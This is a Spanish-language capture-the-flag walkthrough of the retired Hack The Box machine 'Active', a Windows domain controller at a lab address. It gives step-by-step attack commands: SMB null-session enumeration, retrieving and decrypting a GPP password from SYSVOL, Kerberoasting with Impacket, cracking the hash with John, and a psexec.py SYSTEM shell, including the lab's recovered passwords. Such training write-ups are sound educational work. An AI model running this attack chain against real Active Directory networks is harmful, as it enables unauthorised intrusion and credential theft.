Fecha de lanzamiento | 28 Jul 2018 |
Estado | Retirada |
Dificultad | Easy |
Plataforma | Windows |
IP | 10.10.10.100 |
RECONOCIMIENTO
Usaremos la herramienta de escaneo de redes nmap
para comenzar con la fase de reconocimiento.
Vamos a escanear todo el rango de puertos de la máquina Active por el protocolo TCP filtrando por aquellos que estén abiertos, aplicando una plantilla de temporizado agresiva e indicando que no queremos que nos aplique resolución DNS para evitar demoras en el escaneo.
nmap -p- --open -T5 -n -v 10.10.10.100
A continuación, vamos a lanzar una serie de scripts básicos de enumeración propios de la herramienta y vamos a tratar de detectar las versiones y los servicios de los puertos que el comando anterior nos ha detectado como abiertos. Lo guardaremos en un fichero llamado targeted para poder volver a consultarlo durante el resto de fases de la intrusión.
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,49152,49153,49154,49155,49157,49158,49165,49166,49168 -oN targeted 10.10.10.100
EXPLOTACIÓN
Puerto 139/445 – SMB
SMB (Server Message Block) es un protocolo de red de Microsoft pensado para compartir archivos, impresoras y recursos dentro de una red local.
Lo primero que realizamos para enumerar el servicio SMB de Windows es utilizar la herramienta crackmapexec para recoger información acerca del nombre de la máquina, su sistema operativo, dominio, etc…
crackmapexec smb 10.10.10.100
Observamos que la herramienta nos devuelve que la máquina tiene el nombre de DC, el dominio es active.htb y luego nos devuelve un sistema operativo que en realidad es erroneo ya que si nos fijamos en el archivo targeted de nmap, lo que en realidad nos está mostrando es la versión del servidor DNS del Windows Server (Que en este caso es un Windows Server 2008 R2 SP1).
Vamos a añadir el dominio a nuestro archivo /etc/hosts
para asociar la IP con el nombre del dominio.
vi /etc/hosts
Presiona tecla «i» para entrar en el modo edición de Vi.
Para cerrar el documento guardando los cambios, presiona ESC y escribe «:x»
A continuación, vamos a usar la herramienta smbclient
para listar los recursos compartidos que existan a nivel de red con una NULL Session.
smbclient -L 10.10.10.100 -N
Observamos varias carpetas compartidas a nivel de red, pero lo que nos interesa realmente es ver si tenemos acceso a alguna de ellas. Para ello usaremos la herramienta smbmap
.
smbmap -H 10.10.10.100
Vemos que tenemos una carpeta Replication con acceso READ ONLY, asi que vamos a usar esta misma herramienta para echar un vistazo y ver que es lo que puede tener.
smbmap -H 10.10.10.100 -R Replication
Al ver en el output los directorio Policies y Scripts, automáticamente se nos tiene que venir a la cabeza la carpeta SYSVOL.
SYSVOL es un conjunto de archivos y carpetas que residen en el disco duro local de cada controlador de dominio de un dominio y que son replicados por FRS. Los clientes a nivel de red tienen acceso al contenido del arbol SYSVOL. Esta carpeta almacena los archivos públicos de un dominio.
Lo interesante es que en SYSVOL puede existir un archivo groups.xml con datos de configuración y una contraseña encriptada (AES-256). Si existiese ese archivo, en 2012 Microsoft publicó la clave privada que podemos usar para desencriptar la contraseña.
Si vamos a la ruta \Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\
vemos que ahí está el archivo así que nos lo descargaremos a nuestra máquina local.
smbmap -H 10.10.10.100 -r Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/ smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml mv 10.10.10.100-Replication_active.htb_Policies_\{31B2F340-016D-11D2-945F-00C04FB984F9\}_MACHINE_Preferences_Groups_Groups.xml groups.xml cat groups.xml
Hay un campo con una contraseña encriptada y tenemos un usuario –> SVC_TGS Vamos a usar un script en ruby que existe en Github para desencriptar la contraseña gracias a la key que Microsoft publicó.
Una vez descargado, a la variable encrypted_data le asginamos el valor de la cpassword que hemos recopilado y ejecutamos el script. Vemos que nos devuelve una contraseña en texto claro.
ruby gpp-decrypt.rb
Una vez ya tenemos un usuario y una contraseña, vamos a validar las credenciales con la herramienta crackmapexec
.
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
Vemos que nos sale un [+]
por lo que es un usuario válido pero no es privilegiado. Si fuese ese tal caso, nos saldría un mensaje de !PWNED a la derecha.
Puerto 88 – Kerberos
Kerberos es un protocolo de autenticación. Se encarga de identificar a cada usuario, a través de una contraseña, pero no determina a que recursos o servicios puede acceder. Es ampliamente utilizado en AD. En esta plataforma Kerberos da información acerca de los privilegios de cada usuario autenticado y queda a cargo de los servicios al verificar que dichos privilegios son suficientes para acceder a sus recursos. Kerberos maneja unas estructuras denominadas tickets que equivaldrían como a autorizaciones para realizar ciertas acciones en un dominio. Existe el TGT y el TGS. Para más información –> Click Aquí
A la hora de tener Kerberos desplegado y nosotros tener unas crendenciales válidas, el ataque en el que podemos pensar es el Kerberoasting Attack. Consiste en la solicitud de un TGS donde obtendríamos un hash que vamos a poder crackear por fuerza bruta. Para más información sobre el Kerberoasting Attack –> Click Aquí.
El ataque lo vamos a realizar mediante la herramienta GetUserSPNs.py
de Impacket. Necesitamos únicamente el dominio, el nombre de usuario y la contraseña.
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request -outputfile hashTGS
Observamos que podemos solicitar un TGS para el usuario Administrator y mediante el parametro -outputfile
hemos guardado el hash en un archivo que vamos a crackear con la herramienta John
.
john --wordlist=/usr/share/wordlists/rockyou.txt hashTGS
Ahora ya tendríamos credenciales para el usuario Administrator así que vamos a validarlas con crackmapexec
y ver si es un usuario privilegiado.
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
Vemos que es un usuario privilegiado (Pwn3d!) así que ahora usaremos la herramienta psexec.py
de Impacket para lograr una shell como el usuario Administrator.
psexec.py es una utilidad orientada a la ejecución remota de instrucciones y a la generación de una shell funcional. Establece una conexión con el servicio SMB y hay un intercambio de información entre cliente y servidor llevado a cabo por medio de Named Pipes y el protocolo RPC. Una vez se establece la conexión, sube un fichero muy liviano que representa un servicio que se creará en el sistema el cual permitirá la genereación de la shell entre cliente y servidor. Para ello es necesario una cuenta con permisos suficientes y un recurso compartido en el que se pueda subir el ejecutable del servicio.
psexec.py active.htb/Administrator:[email protected] cmd.exe
Tenemos una shell como NT AUTHORITY\SYSTEM en la máquina víctima. Ahora ya podemos ver las flags en los escritorios correspondientes de los usuarios y reportarlas en la página de HTB para evidenciar que hemos resuelto la máquina.